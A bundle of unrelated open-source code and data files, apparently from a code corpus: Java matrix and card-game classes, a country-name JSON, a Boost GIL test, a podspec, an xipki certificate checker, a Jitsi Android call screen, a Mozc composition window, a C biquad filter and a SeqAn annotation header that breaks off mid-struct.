for (int i = 0; i < vals.length; i++) {
for (int j = 0; j < vals[i].length; j++) {
buf.append(vals[i][j] + " ");
}
buf.append("\n");
}
return buf.toString();
}
public static void main (String[] args) {
int size = Integer.parseInt(args[0]);
PairwiseMatrix m = new PairwiseMatrix(size);
for (int i = 0; i < size; i++)
for (int j = i + 1; j < size; j++)
m.set(i, j, Double.parseDouble(i + "" + j));
System.err.println(m);
}
}
| 703
|
1,118
|
<reponame>harri-codes/Focus
{"deu":{"common":"Südsudan","official":"Republik Südsudan"},"fin":{"common":"Etelä-Sudan","official":"Etelä-Sudanin tasavalta"},"fra":{"common":"Soudan du Sud","official":"République du Soudan du Sud"},"hrv":{"common":"Južni Sudan","official":"Republika Južni Sudan"},"ita":{"common":"Sudan del sud","official":"Repubblica del Sudan del Sud"},"jpn":{"common":"南スーダン","official":"南スーダン共和国"},"nld":{"common":"Zuid-Soedan","official":"Republiek Zuid-Soedan"},"por":{"common":"Sudão do Sul","official":"República do Sudão do Sul"},"rus":{"common":"Южный Судан","official":"Республика Южный Судан"},"spa":{"common":"Sudán del Sur","official":"República de Sudán del Sur"}}
| 283
|
1,444
|
package mage.cards.p;
import mage.MageInt;
import mage.MageObject;
import mage.ObjectColor;
import mage.abilities.Ability;
import mage.abilities.common.AsEntersBattlefieldAbility;
import mage.abilities.common.SimpleStaticAbility;
import mage.abilities.effects.ContinuousEffectImpl;
import mage.abilities.effects.common.ChooseColorEffect;
import mage.cards.*;
import mage.constants.*;
import mage.game.Game;
import mage.game.permanent.Permanent;
import mage.game.stack.Spell;
import mage.players.Player;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
/**
* @author LevelX2
*/
public final class PaintersServant extends CardImpl {
public PaintersServant(UUID ownerId, CardSetInfo setInfo) {
super(ownerId, setInfo, new CardType[]{CardType.ARTIFACT, CardType.CREATURE}, "{2}");
this.subtype.add(SubType.SCARECROW);
this.power = new MageInt(1);
this.toughness = new MageInt(3);
// As Painter's Servant enters the battlefield, choose a color.
this.addAbility(new AsEntersBattlefieldAbility(new ChooseColorEffect(Outcome.Detriment)));
// All cards that aren't on the battlefield, spells, and permanents are the chosen color in addition to their other colors.
this.addAbility(new SimpleStaticAbility(Zone.BATTLEFIELD, new PaintersServantEffect()));
}
private PaintersServant(final PaintersServant card) {
super(card);
}
@Override
public PaintersServant copy() {
return new PaintersServant(this);
}
}
class PaintersServantEffect extends ContinuousEffectImpl {
public PaintersServantEffect() {
super(Duration.WhileOnBattlefield, Layer.ColorChangingEffects_5, SubLayer.NA, Outcome.Benefit);
staticText = "All cards that aren't on the battlefield, spells, and permanents are the chosen color in addition to their other colors";
}
@Override
public boolean apply(Game game, Ability source) {
Player controller = game.getPlayer(source.getControllerId());
if (controller != null) {
ObjectColor color = (ObjectColor) game.getState().getValue(source.getSourceId() + "_color");
if (color == null) {
return false;
}
// permanents
for (Permanent perm : game.getBattlefield().getActivePermanents(source.getControllerId(), game)) {
perm.getColor(game).addColor(color);
}
List<Card> affectedCards = new ArrayList<>();
// stack
for (MageObject object : game.getStack()) {
if (object instanceof Spell) {
game.getState().getCreateMageObjectAttribute(object, game).getColor().addColor(color);
Card card = ((Spell) object).getCard();
affectedCards.add(card);
}
}
// exile
affectedCards.addAll(game.getExile().getAllCardsByRange(game, controller.getId()));
for (UUID playerId : game.getState().getPlayersInRange(controller.getId(), game)) {
Player player = game.getPlayer(playerId);
if (player == null) {
continue;
}
// command
affectedCards.addAll(game.getCommanderCardsFromCommandZone(player, CommanderCardType.ANY));
// hand
affectedCards.addAll(player.getHand().getCards(game));
// library
affectedCards.addAll(player.getLibrary().getCards(game));
// graveyard
affectedCards.addAll(player.getGraveyard().getCards(game));
}
// apply colors to all cards
affectedCards.forEach(card -> {
game.getState().getCreateMageObjectAttribute(card, game).getColor().addColor(color);
// mdf cards
if (card instanceof ModalDoubleFacesCard) {
ModalDoubleFacesCardHalf leftHalfCard = ((ModalDoubleFacesCard) card).getLeftHalfCard();
ModalDoubleFacesCardHalf rightHalfCard = ((ModalDoubleFacesCard) card).getRightHalfCard();
game.getState().getCreateMageObjectAttribute(leftHalfCard, game).getColor().addColor(color);
game.getState().getCreateMageObjectAttribute(rightHalfCard, game).getColor().addColor(color);
}
// split cards
if (card instanceof SplitCard) {
SplitCardHalf leftHalfCard = ((SplitCard) card).getLeftHalfCard();
SplitCardHalf rightHalfCard = ((SplitCard) card).getRightHalfCard();
game.getState().getCreateMageObjectAttribute(leftHalfCard, game).getColor().addColor(color);
game.getState().getCreateMageObjectAttribute(rightHalfCard, game).getColor().addColor(color);
}
// double faces cards
if (card.getSecondCardFace() != null) {
game.getState().getCreateMageObjectAttribute(card.getSecondCardFace(), game).getColor().addColor(color);
}
});
return true;
}
return false;
}
@Override
public PaintersServantEffect copy() {
return new PaintersServantEffect(this);
}
private PaintersServantEffect(PaintersServantEffect effect) {
super(effect);
}
}
| 2,309
|
12,278
|
//
// Copyright 2019 <NAME> <mateusz at loskot dot net>
//
// Distributed under the Boost Software License, Version 1.0
// See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt
//
#include <boost/gil.hpp>
#include <type_traits>
namespace gil = boost::gil;
int main()
{
static_assert(std::is_same
<
gil::derived_view_type<gil::cmyk8c_planar_step_view_t>::type,
gil::cmyk8c_planar_step_view_t
>::value, "derived_view_type should be cmyk8c_planar_step_view_t");
static_assert(std::is_same
<
gil::derived_view_type
<
gil::cmyk8c_planar_step_view_t, std::uint16_t, gil::rgb_layout_t
>::type,
gil::rgb16c_planar_step_view_t
>::value, "derived_view_type should be rgb16c_planar_step_view_t");
static_assert(std::is_same
<
gil::derived_view_type
<
gil::cmyk8c_planar_step_view_t,
boost::use_default,
gil::rgb_layout_t,
std::false_type,
boost::use_default,
std::false_type
>::type,
gil::rgb8c_step_view_t
>::value, "derived_view_type should be rgb8c_step_view_t");
}
| 696
|
861
|
package b;
import static a.C2.*;
import static b.C1.*;
public
class C3 {
public static void
main(String[] args) {
System.out.println(A + B);
}
}
| 88
|
5,169
|
{
"name": "UTLight",
"version": "1.0.0",
"summary": "Kit easing work with UTI.",
"swift_version": "4.2",
"description": "A kit easing work with UTI (Uniform Type Identification).",
"homepage": "https://github.com/Vladlex/UTLight",
"license": {
"type": "MIT",
"file": "LICENSE"
},
"authors": {
"Vladlex": "<EMAIL>"
},
"source": {
"git": "https://github.com/Vladlex/UTLight.git",
"tag": "1.0.0"
},
"social_media_url": "https://twitter.com/vladlexion",
"platforms": {
"ios": "9.0"
},
"source_files": "UTLight/Classes/**/*",
"frameworks": [
"Foundation",
"MobileCoreServices"
]
}
| 276
|
400
|
/*
*
* Copyright (c) 2013 - 2020 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.xipki.qa.ca.extn;
import org.bouncycastle.asn1.ASN1ObjectIdentifier;
import org.bouncycastle.asn1.ASN1Sequence;
import org.bouncycastle.asn1.x509.Extensions;
import org.xipki.ca.api.profile.Certprofile.ExtensionControl;
import org.xipki.security.ObjectIdentifiers.Extn;
import static org.xipki.qa.ca.extn.CheckerUtil.addViolation;
/**
* Checker for extensions whose name is from U to Z.
* @author <NAME>
*/
class U2zChecker extends ExtensionChecker {
U2zChecker(ExtensionsChecker parent) {
super(parent);
}
void checkExtnValidityModel(StringBuilder failureMsg, byte[] extensionValue,
Extensions requestedExtns, ExtensionControl extControl) {
ASN1ObjectIdentifier conf = caller.getValidityModelId();
if (conf == null) {
caller.checkConstantExtnValue(Extn.id_extension_validityModel,
failureMsg, extensionValue, requestedExtns, extControl);
return;
}
ASN1Sequence seq = ASN1Sequence.getInstance(extensionValue);
ASN1ObjectIdentifier extValue = ASN1ObjectIdentifier.getInstance(seq.getObjectAt(0));
if (!conf.equals(extValue)) {
addViolation(failureMsg, "content", extValue, conf);
}
} // method checkExtnValidityModel
}
| 602
|
310
|
<filename>src/org/jitsi/android/gui/call/CallContactFragment.java
/*
* Jitsi, the OpenSource Java VoIP and Instant Messaging client.
*
* Copyright @ 2015 Atlassian Pty Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.jitsi.android.gui.call;
import java.util.*;
import android.os.Bundle;
import net.java.sip.communicator.service.protocol.*;
import net.java.sip.communicator.util.*;
import net.java.sip.communicator.util.account.*;
import net.java.sip.communicator.util.call.*;
import org.jitsi.*;
import org.jitsi.android.gui.util.*;
import org.jitsi.service.osgi.*;
import org.osgi.framework.*;
import android.accounts.*;
import android.view.*;
import android.widget.*;
/**
* Tha <tt>CallContactFragment</tt> encapsulated GUI used to make a call.
*
* @author <NAME>
* @author <NAME>
*/
public class CallContactFragment
extends OSGiFragment
{
/**
* The logger
*/
private static final Logger logger =
Logger.getLogger(CallContactFragment.class);
/**
* The bundle context.
*/
private BundleContext bundleContext;
/**
* Optional phone number argument.
*/
public static String ARG_PHONE_NUMBER="arg.phone_number";
/**
* {@inheritDoc}
*/
@Override
public synchronized void start(BundleContext bundleContext)
throws Exception
{
super.start(bundleContext);
/*
* If there are unit tests to be run, do not run anything else and just
* perform the unit tests.
*/
if (System.getProperty(
"net.java.sip.communicator.slick.runner.TEST_LIST")
!= null)
return;
this.bundleContext = bundleContext;
//initAndroidAccounts();
}
/**
* {@inheritDoc}
*/
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState)
{
final View content
= inflater.inflate(R.layout.call_contact, container, false);
final ImageView callButton
= (ImageView) content.findViewById(R.id.callButtonFull);
callButton.setOnClickListener(new View.OnClickListener()
{
public void onClick(View v)
{
final EditText callField
= (EditText) content.findViewById(R.id.callField);
String contact = callField.getText().toString();
if(contact.isEmpty())
{
System.err.println("Contact is empty");
return;
}
System.err.println("Calling "+contact);
if (AccountUtils.getRegisteredProviders().size() > 1)
showCallViaMenu(callButton, contact);
else
createCall(contact);
}
});
// Call intent handling
Bundle arguments = getArguments();
String phoneNumber = arguments.getString(ARG_PHONE_NUMBER);
if (phoneNumber != null && phoneNumber.length() > 0)
{
ViewUtil.setTextViewValue(content, R.id.callField, phoneNumber);
}
return content;
}
/**
* Creates new call to target <tt>destination</tt>.
* @param destination the target callee name that will be used.
*/
private void createCall(final String destination)
{
Iterator<ProtocolProviderService> allProviders =
AccountUtils.getRegisteredProviders().iterator();
if(!allProviders.hasNext())
{
logger.error("No registered providers found");
return;
}
createCall(destination, allProviders.next());
}
/**
* Creates new call to given <tt>destination</tt> using selected
* <tt>provider</tt>.
*
* @param destination target callee name.
* @param provider the provider that will be used to make a call.
*/
private void createCall( final String destination,
final ProtocolProviderService provider)
{
new Thread()
{
public void run()
{
try
{
CallManager.createCall(provider, destination);
}
catch(Throwable t)
{
logger.error("Error creating the call: "+t.getMessage(), t);
AndroidUtils.showAlertDialog(
getActivity(),
getString(R.string.service_gui_ERROR),
t.getMessage());
}
}
}.start();
}
/**
* Loads Android accounts.
*/
private void initAndroidAccounts()
{
android.accounts.AccountManager androidAccManager
= android.accounts.AccountManager.get(getActivity());
Account[] androidAccounts
= androidAccManager.getAccountsByType(
getString(R.string.ACCOUNT_TYPE));
for (Account account: androidAccounts)
{
System.err.println("ACCOUNT======" + account);
}
}
/**
* Shows "call via" menu allowing user to selected from multiple providers.
* @param v the View that will contain the popup menu.
* @param destination target callee name.
*/
private void showCallViaMenu(View v, final String destination)
{
// PopupMenu not supported prior 11
if(!AndroidUtils.hasAPI(11))
return;
PopupMenu popup = new PopupMenu(getActivity(), v);
Menu menu = popup.getMenu();
Iterator<ProtocolProviderService> registeredProviders
= AccountUtils.getRegisteredProviders().iterator();
while (registeredProviders.hasNext())
{
final ProtocolProviderService provider = registeredProviders.next();
String accountAddress = provider.getAccountID().getAccountAddress();
MenuItem menuItem = menu.add( Menu.NONE,
Menu.NONE,
Menu.NONE,
accountAddress);
menuItem.setOnMenuItemClickListener(
new MenuItem.OnMenuItemClickListener()
{
public boolean onMenuItemClick(MenuItem item)
{
createCall(destination, provider);
return false;
}
});
}
popup.show();
}
/**
* Creates new parametrized instance of <tt>CallContactFragment</tt>.
*
* @param phoneNumber optional phone number that will be filled.
* @return new parametrized instance of <tt>CallContactFragment</tt>.
*/
public static CallContactFragment newInstance(String phoneNumber)
{
CallContactFragment ccFragment = new CallContactFragment();
Bundle args = new Bundle();
args.putString(ARG_PHONE_NUMBER, phoneNumber);
ccFragment.setArguments(args);
return ccFragment;
}
}
| 3,479
|
1,144
|
// Copyright 2010-2021, Google Inc.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#include "renderer/win32/composition_window.h"
// clang-format off
#include <windows.h>
#define _ATL_NO_AUTOMATIC_NAMESPACE
#define _WTL_NO_AUTOMATIC_NAMESPACE
#include <atlbase.h>
#include <atlapp.h>
#include <atlcrack.h>
#include <atlgdi.h>
#include <atlmisc.h>
#include <atlwin.h>
// clang-format on
#include <string>
#include <vector>
#include "base/const.h"
#include "base/coordinates.h"
#include "base/logging.h"
#include "base/util.h"
#include "protocol/renderer_command.pb.h"
#include "renderer/win32/win32_renderer_util.h"
namespace mozc {
namespace renderer {
namespace win32 {
using WTL::CBitmap;
using WTL::CDC;
using WTL::CDCHandle;
using WTL::CFont;
using WTL::CFontHandle;
using WTL::CLogFont;
using WTL::CMemoryDC;
using WTL::CPaintDC;
using WTL::CPen;
using WTL::CPenHandle;
using WTL::CPoint;
using WTL::CRect;
using WTL::CSize;
namespace {
// As Discussed in b/2317702, UI windows are disabled by default because it is
// hard for a user to find out what caused the problem than finding that the
// operations seems to be disabled on the UI window when
// SPI_GETACTIVEWINDOWTRACKING is enabled.
// TODO(yukawa): Support mouse operations before we add a GUI feature which
// requires UI interaction by mouse and/or touch. (b/2954874)
typedef ATL::CWinTraits<WS_POPUP | WS_DISABLED,
WS_EX_TOOLWINDOW | WS_EX_TOPMOST | WS_EX_NOACTIVATE>
CompositionLineWindowTraits;
// A class which implements an IME composition window for Windows. This class
// is derived from an ATL CWindowImpl<T> class, which provides methods for
// creating a window and handling windows messages.
class CompositionLineWindow
: public ATL::CWindowImpl<CompositionLineWindow, ATL::CWindow,
CompositionLineWindowTraits> {
public:
DECLARE_WND_CLASS_EX(kCompositionWindowClassName, CS_SAVEBITS, COLOR_WINDOW);
BEGIN_MSG_MAP_EX(CandidateWindow)
MSG_WM_CREATE(OnCreate)
MSG_WM_ERASEBKGND(OnEraseBkgnd)
MSG_WM_PAINT(OnPaint)
MSG_WM_PRINTCLIENT(OnPrintClient)
END_MSG_MAP()
CompositionLineWindow() {}
~CompositionLineWindow() {}
LRESULT OnCreate(LPCREATESTRUCT create_struct) {
// Make sure the window is disabled for b/2317702.
DCHECK(!IsWindowEnabled()) << "The window should no be enabled.";
return 0;
}
BOOL OnEraseBkgnd(WTL::CDCHandle dc) {
// We do not have to erase background
// because all pixels in client area will be drawn in the DoPaint method.
return TRUE;
}
void OnPaint(CDCHandle dc) {
CRect client_rect;
this->GetClientRect(&client_rect);
if (dc != nullptr) {
CMemoryDC memdc(dc, client_rect);
DoPaint(memdc.m_hDC);
} else {
CPaintDC paint_dc(this->m_hWnd);
{ // Create a copy of |paint_dc| and render the candidate strings in it.
// The image rendered to this |memdc| is to be copied into the original
// |paint_dc| in its destructor. So, we don't have to explicitly call
// any functions that copy this |memdc| to the |paint_dc| but putting
// the following code into a local block.
CMemoryDC memdc(paint_dc, client_rect);
DoPaint(memdc.m_hDC);
}
}
}
void OnPrintClient(CDCHandle dc, UINT uFlags) { OnPaint(dc); }
void UpdateLayout(const CompositionWindowLayout &layout) {
layout_ = layout;
font_ = CLogFont(layout.log_font).CreateFontIndirect();
}
private:
void DoPaint(WTL::CDCHandle dc) {
const CFontHandle old_font = dc.SelectFont(font_);
CRect client_rect;
GetClientRect(&client_rect);
dc.SetBkMode(TRANSPARENT);
dc.FillSolidRect(&client_rect, RGB(0xff, 0xff, 0xff));
dc.ExtTextOutW(layout_.base_position.x, layout_.base_position.y, 0,
&layout_.text_area, layout_.text.c_str(),
layout_.text.size());
dc.SelectFont(old_font);
dc.SetDCPenColor(RGB(0, 0, 0));
CPenHandle old_pen = dc.GetCurrentPen();
for (size_t i = 0; i < layout_.marker_layouts.size(); ++i) {
const SegmentMarkerLayout &marker = layout_.marker_layouts[i];
if (marker.highlighted) {
if (highlighted_pen_.IsNull()) {
highlighted_pen_.CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
}
old_pen = dc.SelectPen(highlighted_pen_);
} else {
if (dotted_pen_.IsNull()) {
const LOGBRUSH logbrush = {
BS_SOLID, // lbStyle
RGB(0, 0, 0), // lbColor;
0, // lbHatch;
};
// TODO(yukawa): Check the following issue on remote desktop.
// http://msdn.microsoft.com/en-us/library/dd162705.aspx#1
dotted_pen_.CreatePen(PS_ALTERNATE, 1, &logbrush);
}
old_pen = dc.SelectPen(dotted_pen_);
}
dc.MoveTo(marker.from);
dc.LineTo(marker.to);
}
if (!::IsRectEmpty(&layout_.caret_rect)) {
dc.FillSolidRect(&layout_.caret_rect, RGB(0, 0, 0));
}
if (old_pen) {
dc.SelectPen(old_pen);
}
}
CompositionWindowLayout layout_;
CFont font_;
CPen dotted_pen_;
CPen highlighted_pen_;
DISALLOW_COPY_AND_ASSIGN(CompositionLineWindow);
};
class CompositionWindowListImpl : public CompositionWindowList {
public:
CompositionWindowListImpl() {}
virtual ~CompositionWindowListImpl() { Destroy(); }
virtual void UpdateLayout(
const std::vector<CompositionWindowLayout> &layouts) {
// Create windows if needed.
if (line_windows_.size() < layouts.size()) {
const size_t num_windows = layouts.size() - line_windows_.size();
for (size_t i = 0; i < num_windows; ++i) {
CompositionLineWindow *window = new CompositionLineWindow();
window->Create(nullptr);
line_windows_.push_back(window);
}
}
for (size_t i = 0; i < line_windows_.size(); ++i) {
if (i >= layouts.size()) {
line_windows_[i]->ShowWindow(SW_HIDE);
} else {
const CompositionWindowLayout &window_layout = layouts[i];
const CRect rect(window_layout.window_position_in_screen_coordinate);
line_windows_[i]->UpdateLayout(window_layout);
// We have to ensure the composition window will be placed at the top
// most of the TOPMOST layer because the attached window might also be
// in the TOPMOST layer.
line_windows_[i]->SetWindowPos(HWND_TOPMOST, rect.left, rect.top,
rect.Width(), rect.Height(),
SWP_NOACTIVATE | SWP_SHOWWINDOW);
line_windows_[i]->Invalidate(FALSE);
}
}
}
virtual void Initialize() {
constexpr int kInitialNumberOfWindows = 3;
for (size_t i = 0; i < kInitialNumberOfWindows; ++i) {
CompositionLineWindow *window = new CompositionLineWindow();
window->Create(nullptr);
line_windows_.push_back(window);
}
}
virtual void AsyncHide() {
for (size_t i = 0; i < line_windows_.size(); ++i) {
line_windows_[i]->ShowWindow(SW_HIDE);
}
}
virtual void AsyncQuit() {
// TODO(yukawa): Implement this.
}
virtual void Destroy() {
for (size_t i = 0; i < line_windows_.size(); ++i) {
line_windows_[i]->DestroyWindow();
delete line_windows_[i];
}
line_windows_.clear();
}
virtual void Hide() {
for (size_t i = 0; i < line_windows_.size(); ++i) {
line_windows_[i]->ShowWindow(SW_HIDE);
}
}
private:
std::vector<CompositionLineWindow *> line_windows_;
DISALLOW_COPY_AND_ASSIGN(CompositionWindowListImpl);
};
} // namespace
CompositionWindowList *CompositionWindowList::CreateInstance() {
return new CompositionWindowListImpl();
}
} // namespace win32
} // namespace renderer
} // namespace mozc
| 3,620
|
1,584
|
#include <math.h>
#include <string.h>
#include "biquad_filter.h"
/**
* Unit_BiquadFilter implements a second order IIR filter.
Here is the equation that we use for this filter:
y(n) = a0*x(n) + a1*x(n-1) + a2*x(n-2) - b1*y(n-1) - b2*y(n-2)
*
* @author (C) 2002 <NAME>, SoftSynth.com, All Rights Reserved
*/
#define FILTER_PI (3.141592653589793238462643)
/***********************************************************
** Calculate coefficients common to many parametric biquad filters.
*/
static void BiquadFilter_CalculateCommon( BiquadFilter *filter, double ratio, double Q )
{
double omega;
memset( filter, 0, sizeof(BiquadFilter) );
/* Don't let frequency get too close to Nyquist or filter will blow up. */
if( ratio >= 0.499 ) ratio = 0.499;
omega = 2.0 * (double)FILTER_PI * ratio;
filter->cos_omega = (double) cos( omega );
filter->sin_omega = (double) sin( omega );
filter->alpha = filter->sin_omega / (2.0 * Q);
}
/*********************************************************************************
** Calculate coefficients for Highpass filter.
*/
void BiquadFilter_SetupHighPass( BiquadFilter *filter, double ratio, double Q )
{
double scalar, opc;
if( ratio < BIQUAD_MIN_RATIO ) ratio = BIQUAD_MIN_RATIO;
if( Q < BIQUAD_MIN_Q ) Q = BIQUAD_MIN_Q;
BiquadFilter_CalculateCommon( filter, ratio, Q );
scalar = 1.0 / (1.0 + filter->alpha);
opc = (1.0 + filter->cos_omega);
filter->a0 = opc * 0.5 * scalar;
filter->a1 = - opc * scalar;
filter->a2 = filter->a0;
filter->b1 = -2.0 * filter->cos_omega * scalar;
filter->b2 = (1.0 - filter->alpha) * scalar;
}
/*********************************************************************************
** Calculate coefficients for Notch filter.
*/
void BiquadFilter_SetupNotch( BiquadFilter *filter, double ratio, double Q )
{
double scalar, opc;
if( ratio < BIQUAD_MIN_RATIO ) ratio = BIQUAD_MIN_RATIO;
if( Q < BIQUAD_MIN_Q ) Q = BIQUAD_MIN_Q;
BiquadFilter_CalculateCommon( filter, ratio, Q );
scalar = 1.0 / (1.0 + filter->alpha);
opc = (1.0 + filter->cos_omega);
filter->a0 = scalar;
filter->a1 = -2.0 * filter->cos_omega * scalar;
filter->a2 = filter->a0;
filter->b1 = filter->a1;
filter->b2 = (1.0 - filter->alpha) * scalar;
}
/*****************************************************************
** Perform core IIR filter calculation without permutation.
*/
void BiquadFilter_Filter( BiquadFilter *filter, float *inputs, float *outputs, int numSamples )
{
int i;
double xn, yn;
// Pull values from structure to speed up the calculation.
double a0 = filter->a0;
double a1 = filter->a1;
double a2 = filter->a2;
double b1 = filter->b1;
double b2 = filter->b2;
double xn1 = filter->xn1;
double xn2 = filter->xn2;
double yn1 = filter->yn1;
double yn2 = filter->yn2;
for( i=0; i<numSamples; i++)
{
// Generate outputs by filtering inputs.
xn = inputs[i];
yn = (a0 * xn) + (a1 * xn1) + (a2 * xn2) - (b1 * yn1) - (b2 * yn2);
outputs[i] = yn;
// Delay input and output values.
xn2 = xn1;
xn1 = xn;
yn2 = yn1;
yn1 = yn;
if( (i & 7) == 0 )
{
// Apply a small bipolar impulse to filter to prevent arithmetic underflow.
// Underflows can cause the FPU to interrupt the CPU.
yn1 += (double) 1.0E-26;
yn2 -= (double) 1.0E-26;
}
}
filter->xn1 = xn1;
filter->xn2 = xn2;
filter->yn1 = yn1;
filter->yn2 = yn2;
}
| 1,504
|
409
|
// ==========================================================================
// SeqAn - The Library for Sequence Analysis
// ==========================================================================
// Copyright (c) 2006-2018, <NAME>, FU Berlin
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
// * Neither the name of Knut Reinert or the FU Berlin nor the names of
// its contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL KNUT REINERT OR THE FU BERLIN BE LIABLE
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
// DAMAGE.
//
// ==========================================================================
// Author: <NAME> <<EMAIL>>
// ==========================================================================
#ifndef SEQAN_HEADER_STORE_ANNOTATION_H
#define SEQAN_HEADER_STORE_ANNOTATION_H
namespace seqan
{
//////////////////////////////////////////////////////////////////////////////
// Annotation Store
//////////////////////////////////////////////////////////////////////////////
/*!
* @class AnnotationStoreElement
* @headerfile <seqan/store.h>
* @brief Represents an annotation of a genomic feature.
*
* @signature template <typename TPos[, typename TSpec]>
* struct AnnotationStoreElement;
*
* @tparam TPos The position type to use.
* @tparam TSpec The specializing type.
*
* Value type of the @link FragmentStore::annotationStore @endlink stirng. The id of an annotation (aka annotationId)
* is not stored explicitly as it is implicitly given byt he position in the @link FragmentStore::annotationStore
* @endlink.
*
*
* @fn AnnotationStoreElement::AnnotationStoreElement()
* @brief Constructor.
*
* @signature AnnotationStoreElement::AnnotationStoreElement();
*
* The default constructor sets all members to <tt>INVALID_ID</tt> and beginPos and endPos to <tt>INVALID_POS</tt>.
*/
/*!
* @typedef AnnotationStoreElement::TId
* @brief Type of annotationId and contigId.
*
* @signature typedef (...) TAnnotationStoreElement::TId;
*
* TId is the result of <tt>Id<AnnotationStoreElement<> >::Type</tt>, see @link Id @endlink.
*
*
* @typedef AnnotationStoreElement::TPos
* @brief Type of the @link AnnotationStoreElement::beginPos @endlink and @link AnnotationStoreElement::endPos
* @endlink.
*
* @signature typedef (...) TAnnotationStoreElement::TPos;
*
* @typedef AnnotationStoreElement::TValues
* @brief @link StringSet @endlink type of the @link AnnotationStoreElement::values @endlink member.
*
* @signature typedef (...) TAnnotationStoreElement::TValues;
*/
/*!
* @var TId AnnotationStoreElement::INVALID_ID;
* @brief Constant to represent an invalid id.
*
* @var TId AnnotationStoreElement::INVALID_POS;
* @brief Constant to represent an invalid position.
*
* @var TId AnnotationStoreElement::contigId;
* @brief Refers to the contig in @link FragmentStore::contigStore @endlink that the annotation is part of.
*
* @var TId AnnotationStoreElement::typeId;
* @brief Refers to an entry in the @link FragmentStore::annotationTypeStore @endlink.
*
* There are some type ids predefined for commonly used types, e.g. $ANNO_GENE$. See @link
* FragmentStore::PredefinedAnnotationTypes @endlink.
*
* @var TPos AnnotationStoreElement::beginPos;
* @brief Begin position of the annotation in gap space.
*
* If endPos < beginPos then the annotation feature is located on the reverse strand where beginPos and endPos are
* the corresponding positions on the forward strand.
*
* @var TPos AnnotationStoreElement::endPos;
* @brief End position of the annotation in gap space.
*
* If endPos < beginPos then the annotation feature is located on the reverse strand where beginPos and endPos are
* the corresponding positions on the forward strand.
*
* @var TValues AnnotationStoreElement::values;
* @brief @link StringSet @endlink that stores additional values addressed by keyId.
*
* The GFF and FTF file formats allow to define user-specific key-value pairs. The set of all keys addressed by keyId
* are stored in @link FragmentStore::annotationKeyStore @endlink.
*
* @var TId AnnotationStoreElement::parentId;
* @brief The id of the parent annotation.
*
* @var TId AnnotationStoreElement::nextSiblingId;
* @brief The id of the right sibling annotation.
*
* @var TId AnnotationStoreElement::lastChildId;
* @brief The id of the parent annotation.
*/
template <typename TPos_, typename TSpec = void>
struct AnnotationStoreElement
{
typedef typename Id<AnnotationStoreElement>::Type TId;
typedef TPos_ TPos;
typedef StringSet<CharString, Owner< ConcatDirect<> > > TValues;
static const TId INVALID_ID;
static const TPos INVALID_POS;
TId parentId;
TId contigId;
TId countId;
TId typeId; // gene, intron, ...
